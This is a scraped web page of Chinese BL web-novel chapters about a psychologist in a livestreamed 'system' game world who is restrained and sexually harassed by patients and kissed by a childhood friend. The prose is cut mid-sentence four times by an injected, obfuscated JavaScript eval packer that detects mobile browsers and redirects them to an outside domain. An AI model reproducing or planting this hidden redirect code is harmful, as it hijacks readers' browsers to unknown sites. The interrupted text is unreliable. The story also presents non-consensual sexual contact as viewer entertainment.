;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438172|184991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下石： 【大家说好了都不说，就真的没有一个人说啊！】 【满眼绝望的表情真的好可怜啊，感觉眼里都没有光了。】 【现在能怎么办？只能趁江起逮不到你，抓紧时间跑了！】 【嘶，怎么感觉江起跟捉//奸的一样呢？】 【本来就是！他早就单方面认定清清是他的小男友了，所以现在清清出去沾花惹草，其实都是公然出//轨吧？】 【江起：男朋友一直在挑衅我。】 事已至此，许时清没有回头路了。眼下趁江起还没发现，他得赶紧去找柯怀雪，不然就再没机会完成任务了！ 真是一场酣畅淋漓的偷腥啊！！ —— 可惜老天爷老爱跟许时清开玩笑，他费尽心思偷溜去了柯怀雪的病房，却发现房里空无一人。 “不应该啊，”许时清疑惑，“不是说他平时不爱出门，也不喜欢跟人交流，这个时间，他还能去哪儿呢？” 【在天台。】 系统适时提醒。 “什么？”许时清惊讶，“他、他去天台做什么？！” 该不会是因为自己没有如约来看望他，他失去希望打算跳了吧！ 【那我就不知道咯～】 系统又在幸灾乐祸。 刻不容缓，许时清即刻动身去天台，什么乱七八糟的事都被他抛到脑后，他现在只想救人。 因为电梯还卡在一楼，听说工人们打算搬器械，许时清没顾得上坐电梯，爬了五楼冲上天台。 这里的楼梯通道要比下面更长，台阶也更高，许时清爬楼爬得气喘吁吁，系统笑他体力差，他说你少管我。 “柯怀雪来这儿做什么？千万别是做傻事——唔唔！” 爬上最后几级台阶，推开铁栅栏门，“吱呀一声响”，许时清刚探出一个头，旁边忽然伸出来一只手，从背后捂住了他的嘴。 许时清被吓了一大跳，条件反射地就要踹人，直攻对方下盘，却又被人截住手腕，反折回去，扣在身前，再是贴在他耳边说：“许医生，几天不见，脾气怎么这么大了？” 声音熟悉，吐息沉稳，是言书。 【哎妈呀吓我一大跳，是言书就好！】 【清清心想可能还不如是歹徒呢吧哈哈哈哈！】 【还有意外之喜？】 【我有预感，最后一天肯定有我想看的东西！】 许时清辨明身份，这才松一口气，但他还是瞪着人，恼怒地说：“你吓死我了知不知道！还有，你怎么会在这里？” “嗯？”言书挑眉，搂着他的手非但没放开，反倒向下摸去，笑笑说，“这个问题，我也想问许医生呢，您不去看病人，来这儿做什么呢？” “还有这里……”言书眼尖，瞧见他嘴角的破口，笑意更深，“难道又是蚊子咬的吗？” 嘲讽的意思再明显不过，而且说话时，他捏着许时清腰间的软肉，也不知道到底有什么好摸的？ 许时清感觉很不自在，却抗衡不过他的力量，只能说：“关你什么事？我本来要去查房的，听人说柯怀雪上天台了，我当然要来找人。” “噢，柯怀雪吗？” 言书这次胆子更大，轻拍了下他的臀，察觉到他的僵硬，又说：“好巧，他刚好在你背后呢。” “许医生。” 言书话音刚落，柯怀雪虚弱的声音就响起来。 许时清忽然浑身发冷，扭头一看，发现柯怀雪正盯着自己笑，眼神幽幽然。 他歪头，笑容不带恶意，神情单纯稚嫩得像个孩童：“您是在找我吗？” 22. 训狗名场面（一） “许医生，您是在找我吗？” “……” 许时清懵了，先看看柯怀雪，再回头看言书，发现言书也在盯着自己笑。两个人都对他的到来丝毫不觉得诧异——这局面完全不对劲！ 他还在垂死挣扎，试图拨开言书禁锢在自己腰间的手，然而纹丝不动，又只能看着柯怀雪，问：“小柯，你怎么会突然跑到天台来？这样很危险……” “哦，原来是这样吗？” 柯怀雪却不以为意，反倒笑出了声，这笑让他起了一身鸡皮疙瘩。柯怀雪再走上前去，拉他的手。 “但是，我好像也没有别的办法了……” “为什么呢？许时清，”他第一次叫许时清的全名，“为什么你总是失约，为什么总要让我失望，为什么、为什么你那么喜欢江起，可以都告诉我答案吗？” 柯怀雪说了一连串的“为什么”，又抓着他的掌心，贴在自己脸上，痴痴望着他说，“我不知道要怎样才能讨您欢心了，就只有用这样拙劣的手段。” “——您会讨厌我吗？” 许时清惊愕得说不出话。不是，有个柯怀雪心怀不轨就算了，那言书又是怎么一回事？！ 似是察觉到他的想法，言书像有读心术一般，一边用一条领带将他的双手捆起来、束缚在身后，一边替他答疑解惑。 “我是来凑热闹的呢，许医生，”言书打好死结，笑吟吟说，“我看您都能和他们‘相处’得这样愉快，心里实在有些羡慕。为什么您不能也眷顾我一次呢？” 许时清忍不住抖，不明白他们到底要做些什么？ 但不管怎么样，总归不是什么好事，许时清别无他法，紧急召唤系统。 他恳求说，你帮帮我。 【我也想啊，可惜力不从心……怎么办呢清清？看来只能为你加油啦！】 你不是说这里只有柯怀雪吗，言书又是怎么回事？还有他们两个怎么会突然变脸了！ 【哎呀，这个问题好像就有点复杂了。嗯，剧情和世界观其实是个很复杂的东西，所以我们可能没法保证故事完全符合逻辑？】 ……什么意思？ 【意思就是，现在你面对的这两个家伙，已经快要脱离原有的剧情线——完全崩坏掉啦！】 说完这句话，系统就下线了，任凭许时清怎么呼喊都不回应。 该死。关键时刻总派不上用场的东西！ 连系统也不帮忙，许时清彻底没办法了。眼下局势危急，他只能把仅存的希望，寄托在眼前这两个小兔崽子身上，祈祷他们还有最后的良知。 “小柯，我们有话可以好好说。” 柯怀雪却没在听，细细吻着他的手背，感受他的体温和气息。 这个哄不了，许时清又转头去哄另一个：“言、言书，你听话，别对我做这种事，我们之前关系一直都很不错的，不是吗？你有什么烦恼都可以向我倾诉，只要你现在……” “啪！” 他话音未落，率先响起的是巴掌声，又一次落在他臀上。这次力道要更大些，扇得许时清半边屁股都发麻。 如果说刚才那一下只是意外，那这次就是明晃晃的调戏和挑衅了。 许时清瞪大了眼，似是不可置信。他活了二十多年，长到这么大——还从来没有人像这样打过他的屁股！ “你、你！” 许时清这下真的连话都说不出来了，他又气又恨，愤怒到极点甚至觉得哽咽，最后从喉间蹦出来的也是哭腔：“你怎么敢这样对我？！” 言书看见他的眼泪，“啊”了一声，伸手抹去，又嘲笑他：“怎么这就哭了？许医生，我们可还什么都没开始做呢。” “我不会放过你们的，我一定会、嘶——”威胁的话还没说出口，许时清感觉手上一疼，他的手臂，被柯怀雪重重咬了一口。 咬疼他了，柯怀雪也没有停嘴，倒是笑着看向他，并没有多少歉意地说：“抱歉，许医生。我只是太喜欢你了。” 看来这里需要戴止咬器的狗，远不止江起一个。 “放开我！呃、你们怎么能这样？我真的生气了、我会报复你们的！” “别这样，求你们了。嗯，小柯，不要乱咬。” “言书、言书，放开我好不好？我真的不喜欢这样，求你……” “……” 说真的，他们自认没有做多过分的事儿，但许时清的反应实在太大了，一刻钟的功夫，就已经要哭成个泪人。 “哭什么呢？难道你在江起面前也这样哭，他会心疼你吗？” 嘴上这样说，言书到底是替他松了绑。虽然打了死结，绑得也不算特别紧，只是许时清挣扎得太厉害，手腕处不可避免勒出些印记。 言书再牵起他的手查看，说：“都红了。” “滚、滚蛋！别碰我了，你们全都给我滚！” 许时清的情绪完全崩溃了，再没精力同他们虚与委蛇，转身就要走，却又被人拽住衣领。 这力道很大，对方没有收住力道的意思，几乎是把他掼在墙上。许时清感觉背上一疼，没等他反应过来，又被柯怀雪捏住脸，被迫转过头。 “你又想去哪儿？” 柯怀雪质问他，眼神是从未有过的阴狠，连带着语气也冰冷起来，“去找江起吗？还是找凌燚？又或者是我们都不认识的其他什么人？许时清，这里有我们两个还不够吗？” 许时清和他对视，忽然嗤笑一声，冷静下来了。许时清说：“你少管我了，你以为你是谁呢？我们的关系只是医患而已。” “难道，你要说你喜欢我？这我也早就知道，你们几个都对我单相思，不是吗？”许时清对他弯弯眼睛笑，“但我一个也不在乎，别再自以为是了。” “你不在乎吗？” 柯怀雪气极反笑，在他的注视下，摸进他的口袋，掏出他的手机，再用他的指纹解锁，唤醒拨号界面。 “那江起呢？”柯怀雪问他，“江起他在乎吗？” “……” 一条疯狗。 —— 说真的，许时清也不想把局面变成这样。 可他实在是忍耐太久了！从来这儿的第一天起，就不得不戴上面具和他们每一个人交流，哪怕明知他们对自己有异样的心思，毫不尊敬、只有亵渎之心，许时清也都一并忍让。 然而就在今天，他完全忍不了了。得知柯怀雪上天台，他第一反应竟然是担忧。 是的，尽管许时清和他们的相处过程不那样愉快，也可能对他们有诸多意见，但许时清的本心是好的。纵然他明白这一切都是虚拟的故事、虚构的角色，却也没法对痛苦坐视不理。 结果，柯怀雪现在辜负他了。 “许医生，你知道你哭起来很好听吗？” 他泣不成声，柯怀雪如痴如醉，将手机话筒贴得更近一些，又亲亲他说：“喜欢吗？你现在看起来很开心的样子……” 许时清刚才还保持沉默，这会儿嘴唇嚅嗫了两下，声音很小。柯怀雪没听清，便凑近问他：“你说什么？” “我说……” 许时清张嘴，眼睛盯着他，轻飘飘吐出几个字：“柯怀雪，我不喜欢你了。” “我讨厌你。你现在是没人要的孩子。之前他们都不要你，现在连我也不要了——你听见了吗？柯怀雪。” “……” 此话一出，空气陷入一阵诡异的安静，连带着同样在场的言书、和电话另一头的江起，也都噤若寒蝉。 最后是言书打破沉默，他一边替许时清穿上衬衣，扣子从下到上一颗颗扣好，一边说：“你在说些什么呢，怎么可以对自己的病人说这种话呢，清清？” 连一贯喜欢用敬称 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438173|184991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 调戏他的言书，也开始叫他的小名儿和他套近乎，可见问题的严重性。 许时清不买账，他看着言书：“你又能好到哪儿去呢，言书同学？你说你喜欢我、对我一见钟情，但是却和人一起做这种事吗？” “如果是这样的话，我想，恐怕没有人能负担得起你们的喜欢了。” 听他这样说，言书不抖机灵了，规规矩矩扣好衣服，罚站似的收回手，这才像个“三好学生”该有的样子。 柯怀雪则是退到一边，沉默不语。 外面的天色不知何时完全暗下来，精神病院上空的几盏白灯照亮夜空，光漏进来，将楼梯间的空间切割成两半，一明一暗。 柯怀雪悄悄隐退到黑暗的阴影里，就像他从前做过许多次的那样。 这样的伎俩用多了就显得拙劣，许时清早已看透他们，自然不会再为这虚情假意的伪装动容。他刚穿好衣服，楼下传来脚步声，是江起赶到了。 “清清？” 江起很焦急，声音都变了调，却看见他站定在楼梯口，身形笔直。 许时清脸上的泪痕已经干了，或许表情可能还有些狼狈？他不在乎，对江起说：“我没事。” 再扫一眼言书，和缩在角落里不肯直面他的柯怀雪，对人说：“我们回去吧。” —— 夜间开始下雨，回去的路上淅淅沥沥，空气都是潮湿的。 许时清感觉脑袋有点疼，别看他刚才好像很硬气，能挺直腰板说出那几句话，几乎已经耗尽他的全部力气了。 其实他心里没底的，万一柯怀雪根本不吃这一套呢？这个喜怒无常的家伙，谁都猜不透他的心思。 ——但许时清就是要这样做！他没办法咽下这口气，就算柯怀雪因此破防动怒，再对他做更过分的事……那他应该也能撑到江起来救他吧？ 唉，到头来，还是得仰仗他的这位便宜竹马。免费赠品的质量的确不如正品那样好，但至少也还能用？ 他将头抵在车窗上，看雨滴划过潮湿的夜景，脑海里响起声音：【清清。】 许时清没应，还在为它今天临阵脱逃的行为生气。 系统又小心翼翼开口：【嘿嘿，你今天真的好帅好帅呀～谁都没想到，你居然还有这样的魄力呢！我说的都是真的，不信你看弹幕！】 许时清这才记得还有弹幕观众这回事。他今天被那两个人欺负成那样，他们可该看爽了吧？ 然而，远远出乎他的意料，弹幕非但没提起那档子事儿，反倒清一色地在发： 【卧槽了，爽死我了啊！】 【啊啊啊啊啊啊啊啊啊（此处省略一万字）清清女王清清大人我要永远追随你啊啊啊！】 【谁懂？到底有谁懂！我看过的直播有太多了，永远都是被胁迫支配的戏码，今天第一次看见反过来压制NPC的！太爽太爽了！！！】 【天呐，雪雪落寞的表情看得我心碎碎，完全就是弃犬啊！不过清清做得好，他们太过分了，就该这样对他们！】 【我不管了，这个主播我追定了！】 【我也是我也是！！】 【打投打投，全部打投，今晚就送我们清清连夜出道～～】 …… 这画风倒是新奇，许时清第一次见。 他心情本来差极了，被弹幕夸夸哄哄，很快又高兴起来，甚至都不计较系统故意做局这档子事了。 再查询投票支持率——百分之七十六的赞同，远远超出既定的目标。看来这群观众的确很喜欢这样的戏码。 “清清。” 他沾沾自喜，为即将到来的分别高兴，前排的江起透过后视镜观察他许久，忽然叫了这么一句。 “嗯？”许时清懵，“有什么事吗。” 江起却摇头，笑笑说：“没事……你说，我们明天早上吃什么呢？” 23. 你们亲得这么爽其他人知道吗？ 回到家后，许时清第一时间洗漱，之后就回房间睡觉了，全程都跟江起没什么交流。 江起也难得沉默，洗漱完出来，发现许时清的卧室门没关，床头那盏小灯还亮着。 光线昏暗，但他似乎就靠这一点儿光寻得安全感，裹着毯子蜷在床中间，看起来很落寞的样子。 怎么可能会没事呢？许时清只不过嘴上硬气，发生了那档子事，他指定比谁都在意。 于是江起擅自闯入，悄悄走近，最后在床边坐下来。 “清清，”江起叫他，“你睡着了吗？” 许时清当然没睡着，但也不想动弹。房间再度安静，他听见背后的人叹气，他现在只希望江起会识相离开。 然而沉寂片刻后，他听见一阵窸窸窣窣的声响，再是身后的位置一沉——江起也躺到床上了，伸出手，双手穿过他的腰际，从背后拥住他，一个温情依恋的姿势。 “……你干嘛？” “怕你睡不着觉，”江起说着，贴得越来越近，几乎是靠在他耳边说话，“晚上又做噩梦怎么办？可能还会梦游，好吓人的。” “梦游？”许时清好奇，“那我梦游都会做些什么呢？” 呵，他一定是被那破系统做局了！有梦游这回事都不告诉他，就为了让那群观众看见他们想看的吗？ “嗯……” 江起努力回忆：“你梦游的时候，会神志不清。有时候冲到我房间里找我，有时候会爬上我的床睡觉，还有一次——” “那次怎么了？” “在我洗澡的时候，你也闯进来了，”江起忍不住笑，“你问我说，能不能跟我一起洗？” “……然后呢？”许时清无语到了极点，他扭头，“你这人该不会是答应了吧！” 被他吼一通，江起却委屈：“只是洗个澡而已，我们小时候不也会一起做这种事吗？” 那能相提并论吗？！许时清小时候还和迟冬穿一条裤子呢！ 后来有一次，迟冬来他家做客，吃饭时水把裤子打湿透了，又因为没带钥匙，不能马上回家，便要吵着穿他的裤子。 许时清找了条牛仔裤丢给他，却发现他还巴巴望着自己，皱眉说：“你还有事？” 迟冬笑笑：“我的内裤好像也……” “那就不穿，”许时清打断他，“迟冬，你马上要满二十了，还穿别人的内裤，你到底害不害臊？” …… 迟冬当时害不害臊，许时清忘记了，但眼下江起肯定是不害臊的，这个人胆子大得很。 “我们当时只是一个洗了个澡，我没对你做什么，真的。” 呵。许时清半个字都不信。 又沉默半晌，许时清忽然再开口，他叫了声“江起”。 “嗯？怎么……” 话音未落，怀里的人翻了个身，他们头靠着头，距离格外近，仿佛江起一低头，就能亲到他了。 横躺在枕头上，四目相对，许时清对他笑，盯着他说：“那你现在还想亲我吗？” “什么？” 这个问题太突然，更不像是许时清会说的话，江起被他问懵了，愣了几秒，点头，“我想的。” 下一秒，许时清就主动凑上来了。 相比第一次索吻，这次他的动作要娴熟一些，但是依然生涩，他不敢碰江起的脸，只敢把嘴凑上去，凑到江起唇边、低头，很生硬地啄。像小鸟在啄食。 “不是这么亲的。” 江起任由他调戏自己，却又被他逗笑，在他尝试几次后，翻身将他压住，对他说：“清清，张嘴。” “……” 居然要舌吻吗？许时清这个老实人只想亲两下就结束的。 就在刚才，他本不想搭理江起，直接睡觉了。结果弹幕又开始抽风，齐刷刷地让他“亲上去、亲上去”，又有人问“能不能把上次没播完的剧情续上”…… 他都不太想理，直到看见有一条弹幕说：【如果现在跟他亲亲，下一个小世界，我们可以投票送你金手指外挂哦～～！】 要说奖励，许时清可不就来劲了？没办法，谁让他的破系统这么不争气，连个像样的金手指都不能给他，他只能自力更生了！ 亲一次是亲，亲两次也是亲，更别说许时清已经亲过三四五六七八次了，他无所畏惧！ 于是翻个身，心一横，闭眼就吻了上去。反正弹幕也没说要吻到哪种程度，他随便亲两下不也一样的吗？ 结果他太高估江起这条狗的自制力了。他想亲个纯的，江起满脑子都是荤的，二话不说把他压在床上，之后就要上下其手。 许时清垂死挣扎，捂着他的嘴：“我只是想亲一下……” 江起笑得眼睛眯起，又像上次那样舔他的手心，许时清膈应得慌，刚移开手掌，被他固定住脑袋、再按住另一只手。 “我也只是想亲一下。” 说是一下，然而他们缠了至少半个小时。 虽然亲了许多次，但许时清还是不习惯这种事，只能被迫迎合对方的节奏。 江起进，他就退，江起再进，他又闪躲。可躲来躲去，床总共就这么大点儿，到底是躲不过，许时清拗不过他，只能半推半就地张开嘴。 “唔……嗯……” 亲着亲着，许时清又忍不住抖，他生气的时候抖，害怕的时候也抖，羞赧的时候还抖。有时就连江起都分辨不清是哪一种，但不管怎样都觉得他可爱。 渐渐的，许时清实在喘不上气，抓着他肩的那只手收紧力道，将他的衬衫抓得一团乱糟，再用力别过头，拼命摇起头来。 “不、不行了，你太过分了！说好只是亲一下！！” 江起被他指责，倒是理直气壮：“我看你没拒绝，还以为你也很舒服呢？” 许时清：“……” 吃人豆腐还强词夺理，真是没下限！ 话说副本世界里真的不能杀NPC吗？许时清真的真的看他很不爽啊！ “我要睡觉了，你给我出去。” 许时清不想再理他，抓起枕头挡在身前，下了逐客令。 “那好吧，”江起妥协，起身欲走，临走前问他，“真的不会做噩梦吗？” 许时清冲他笑笑，一切尽在不言中。 要是起床睁眼看见你这家伙的脸，这才叫噩梦好吧？ 轰走江起后，终于清净了。许时清这才静心看弹幕，发现他们不知道什么时候又疯了。 【不是，你俩亲得这么爽其他人知道吗？】 【居然都亲出水声了，我什么大风大浪都见过，结果听这声音觉得脸红！】 【不得不说，江起真的很会亲啊，感觉每次清清都能爽晕了～】 【真的假的？我不信，除非晕一次给我看看。】 【呵呵，别以为我不知道你们想什么？晕了好下手是吧！】 【江起还是太正人君子了，要是清清躺我床上露出那种表情发出那种声音，我势必要让他见识一下我□□凶狠无比的雄风！】 许时清看得头疼，好在早已习惯。就跟弹幕之前说的一样，他们在给他做脱敏训练，所以他现在已经不觉得羞耻了。 就连刚才跟江起亲，好像羞耻心也没有前面几次那样……不不不，他在胡思乱想什么？！！ 许时清紧急刹车，差点就被迷惑住了，不管发生什么事，他的底线可不能丢！ “好了好了，你们别再刷了，”许时清及时制止，恐又在弹幕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438174|184991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见什么少儿不宜的东西，“你们刚才答应我的，给我一个金手指，得说话算话吧？” 【算的算的！这就给你投！】 【都投都投，我看是谁不投票？小心等会儿清清不亲给你们看了。】 【已支持。】 【话说下一个小世界会有什么内容啊？好期待好期待～】 对哦。许时清后知后觉，第一个世界马上结束，看电视剧还有超前点播呢，多多少少也得给他点提示吧？ 于是他叫道：“系统。” 【诶诶诶，在呢在呢！】 许时清抱着枕头，躺床上放空：“下一个世界是什么？” 【让我查一下……噢，找到了！嗯，不出错的话，你下一个前往的世界，是娱乐圈副本，加上ABO。】 许时清懵：“娱乐圈我知道，你说的那个ABO，是什么东西？” 【嘿嘿嘿，你要问这个我就不困了。】 许时清忽然有种不好的预感。 【这边又为你找到一些可供参考的资料，都是免费提供的，唉，真不知道上哪儿还能找到我这么贴心的系统呢？你抓紧时间了解一下吧！】 许时清看它发来的资料，只是粗略扫一眼，惊讶得一句话也说不出来。 所谓ABO，就是alpha、beta和omega组成的设定，再在男女性别分化的基础上，一共可以分出六种性别。 但这不是重点，重点是——alpha有易感期，omega有结合热，名词说起来复杂，但其实就跟动物们的发情期没有区别！ 【在第二个小世界，你要扮演的是一个十八线小糊咖，性别分化归属男性omega～～】 果然没有憋好屁！ 许时清表示不能接受：“这个设定根本就不合理！凭什么闻到谁谁谁的信息素，就要有那种反应呢？自控力未免也太差了吧！” 【好啦，先别生气，我早就料到你会这么说！所以第二个世界，我又贴心地为你准备了金手指喔！】 “是什么？” 【信息素屏蔽！和信号屏蔽器一个道理，当alpha们散发信息素时，你可以做到完全隔绝他们对你产生的影响！怎么样，是不是特别有用呢？】 许时清：“还好吧，肯定比你的女仆装和猫耳有用。” 【……】 但是你根本就没穿过！！ “那我什么时候可以离开这里？” 已经决定好要去下一站，许时清即刻就想动身。 系统告诉他说：【现在。】 “现在？”许时清反倒愣住，“……这么快吗？” 【是的，任务已达成，支持率也达标，你可以走啦！不会还觉得舍不得小狗勾们吧？】 许时清用被子蒙住头：“我哪儿有？我也早就想走了，只是……” 只是觉得太快了一点。又没有什么实感，江起刚才还在问他第二天早上要吃什么？结果他现在就溜之大吉了。 走就走！许时清犹豫一瞬，又硬气起来，跟这群只会揩油的人没什么可说的，他再留下只会更麻烦！ 【好的，现在为你加载构建第二个小世界中。你躺下睡觉，等睡着之后，就会自动切换啦！】 许时清依言照做。他的确困了，没几分钟就睡着了。 就在他彻底入眠后，放在床头的手机屏幕亮起，他收到了消息。 【许医生，今天发生的事，我真的感到抱歉。】 【但是还请你不要丢下我，好不好？】 【求求你了。】 与此同时，死寂般的空间里，幽幽响起一道机械音。 【恭喜宿主“许时清”，达成本副本隐藏成就：痴吻。】 24. 下雪天（世界一番外） 【你这该死的可怜虫，今天又不敢来上学吗？】 【哈哈哈哈，我就说你是个胆小鬼！平时连正眼看人都不敢，被人揍了也只会夹着尾巴跑！】 收到这条短信的时候，柯怀雪正坐在便利店门口的长椅上。他没什么胃口，只买了一瓶冰可乐，就着吸管慢慢嘬饮。 那天气温蛮低的，时隔几年，总是处在平均气温以上的A市，久违地下了一场雪。 这样的天气，柯怀雪穿得其实很单薄，风衣加围巾，里面套了毛衣，但都是不挡风御寒的。 风无孔不入地从织物的缝隙里钻进骨髓，可他仿佛感受不到似的，只是盯着屏幕，一条条点开来信，下滑查看。十几个号码发来的不同信息，无一例外都是讥讽辱骂他的。 “你好。” 又点开新的一条时，忽然响起话音。柯怀雪一怔，抬头，正对上一双弯弯的笑眼。 “请问这里有人吗？”青年问他说。 这人长得很漂亮。这是柯怀雪的第一反应，说不上来是哪种漂亮，或许算不上太惊艳的那一种，但气质很吸引人。像雪一样，柯怀雪想，笑起来时仿佛会融化。 但他没说话，只是点了下头，然后不动声色往旁边挪了下位置。一张长椅，他只占了三分之一。 许时清今天买了热奶茶和三明治。 江起总告诉他，吃早饭别老去便利店买，再赶时间也要认真吃每一餐。许时清没告诉过他，其实是自己喜欢吃，纯天然手工作的食物吃厌了，就想吃点纯添加无天然的。 喝了一口奶茶，他偏头看向旁边的少年。娃娃脸稚气未脱，也就十六七岁的样子，应该还在上高中。只是眉眼间透出疲惫，不像是这个年纪应该有的样子。 许时清便问他：“昨天是去通宵玩游戏了吗？” “……什么？”柯怀雪没听清，茫然地看着他。 “我说，我有好几次在这边看见你啦，”许时清说，“而且每次都是在上学日，你是经常请假吗？还是逃课了。”许时清更倾向于后者。 “我……”柯怀雪止言又欲，他咬了下吸管，“这不关你的事。” “还是说有什么困扰？生活上，或者是学习上的？” 许时清像听不懂人话似的，喝一口热奶茶，又继续自言自语：“我读书的时候，有段时间也像你这么苦恼。” “那段时间成绩没有起色，人际关系也让我困扰，我就觉得——好讨厌呢，所以我第一次逃课了，逃课之后哪儿也不想去，就找个地方坐着，买了甜点，坐一下午。你现在也是这样吗？” 动之以情，晓之以理。许时清循循善诱，柯怀雪刚刚生出的反感，稍微消退了一点儿。 他垂下眼，不知道在想什么。许时清却没继续问他问题的细节，是人都会有烦恼，所以不必刨根问底。 “今天天气好冷呢，你还在喝冰可乐，我请你吃好吃的怎么样？” 说走就走，不等柯怀雪拒绝，许时清指着对门的一家门店，边撑起伞，边高兴说：“那家咖喱饭可好吃了，刚好，我也好久没吃了，我们一起去吧！” 柯怀雪想否决的，但看他那样殷勤，到底没说出口。 只是场小雪而已，他出门时压根没想到带伞，许时清偏要把伞撑在他头上。 来到店里坐下，许时清问他有没有什么忌口的？他摇头，便叫了两份招牌鸡肉咖喱饭，外加两个鸡腿。 等待上餐的功夫，许时清凑到他耳边，压低声音说：“虽然味道不错，但我觉得这家店蛮坑的，一份饭只要二十多，一个鸡腿就要七块钱，好贵好贵！” 您很缺钱吗？缺钱还要请人吃饭。柯怀雪真想这样问他，但也没说出口。 几分钟后，饭上来了。许时清先搓搓手，再取两双筷子，递给他一双，又自顾自说：“感觉今天的鸡肉比之前大块，是因为我来得早吗？” 很吵闹的一个人。这是柯怀雪对他的第二印象，叽叽喳喳，说个不停，也没人回应，他自己就能坐那儿说单口相声了。 但是。柯怀雪虽然有点反感，总体上又不算讨厌，那顿饭他吃得其实挺开心的。 他慢吞吞扒饭，吃到一半，许时清又开口：“不管怎么样，还是要读书的，也许你现在困惑，但度过难关之后就会觉得轻松许多。不要因为一时的困难，就放弃更多选择。” “……” 柯怀雪好想笑，觉得他站着说话不腰疼，回敬说：“如果不想去上学怎么办？讨厌老师，也讨厌同学，更讨厌学校，听见上课铃声就会反胃，这样也要去上学吗？” 许时清啃鸡腿的动作都停了，他“啊”了一声，手再一抖，价值七块钱的鸡腿就掉在桌上，又被他捡回碗里。有够埋汰。 “嗯，是我考虑不周，这确实是个问题。” 许时清放下筷子，单手支着脑袋，整理措辞：“那就、那就祝你天天开心？人也不是只有一种活法，能做到自洽就很好了。” 看一眼时间，已经不晚了，他还得赶去上班。价值七块钱的鸡腿到底没时间吃完，他急急忙忙收好东西，和柯怀雪打完招呼，转身就走了。 等他走后，柯怀雪才看见他的座位上，留下了那把伞，和一张名片。 名片上赫然写着“许时清”三个字，翻个面，原来是个心理医生。难怪管得那么宽。 除此之外，柯怀雪严重怀疑，这名片又是他自己设计的。因为名片角落里印着一句： 【如果我们不会再见面的话，也愿你天天开心。】 —— 柯怀雪和许时清再见了。第二次正式见面，是在许时清的诊所。 落座后，许时清看见他的脸，很自然地开口：“小同学，我们见过的，对吧？” 不等柯怀雪说话，他看着档案上的信息，惊讶说：“好巧呢，我们第一次见面那天在下雪，你的名字里也有雪，这算不算一种命中注定？” “……” 完全就是土味情话，还自以为高情商。 简单寒暄几句后，许时清进入正题，他问柯怀雪：“说说吧，最近有什么心事和烦恼吗？我都会绝对保密的哦，你可以放心告诉我。” “我最近，晚上失眠，睡不好觉，有时候也会觉得烦躁。是因为我……” 话到嘴边，又被他咽回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438175|184991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，他改口说：“就是和家里人吵架了，心情很不好。我不知道该怎么调解。” 在纠结要不要来看心理医生之前，他想告诉许时清的有很多，但真的见了面，又觉得说不出口了。 怎么办呢？只是不想让对方知道他是“老鼠”而已。 许时清的光太刺眼了。 —— 意外的是，心理疏导过程还算顺利。许时清谈吐幽默，又没架子，甚至还会乐意和他分享自己的糗事，在这样轻松的氛围，柯怀雪很容易就放下戒备了。 在学校的每一分一秒都难熬，但在这里坐了两个小时，柯怀雪好像觉得时光飞逝。 许时清看一眼时钟，已经超出十五分钟了，他没有加收费用，只说：“好啦，今天到此结束。” 说完，又不知从哪儿摸出一个小盒子，里面装着蛋糕，递给柯怀雪。他又说：“这个请你吃了。” 并非他为柯怀雪单独准备的，是江起上班前给他带的，蓝莓果酱蛋糕，许时清觉得这家店的果酱太酸了，不是很喜欢，但又不想浪费，索性顺手就送出去了。 柯怀雪接过盒子，左看看右看看，没说什么，拎着走了。 走出诊所，在路边等公交车的功夫，他盯着蛋糕盒子出神。 其实，他也不太爱吃蛋糕呢。 —— 许时清的诊所，柯怀雪一共去过四次。后来因为琐事缠身，他再没去过。 等到两个月后，柯怀雪想再去拜访一次，却发现诊所已经关停了。 在咖喱店和蛋糕店一打听，原来是搬走了，要去一家精神病院就职，听说那精神病院还是他的朋友开的，对方特意邀请，他就去了。 “说起来，同学，感觉你的脸色好像不太好呢？你是不是有低血糖呀，要不要……” 柯怀雪像是没听见，浑浑噩噩走出店门。 精神病院吗？ 那倒是个好去处，他想。 …… 两个月的时间，足够发生很多事，对柯怀雪是如此，对许时清亦是。 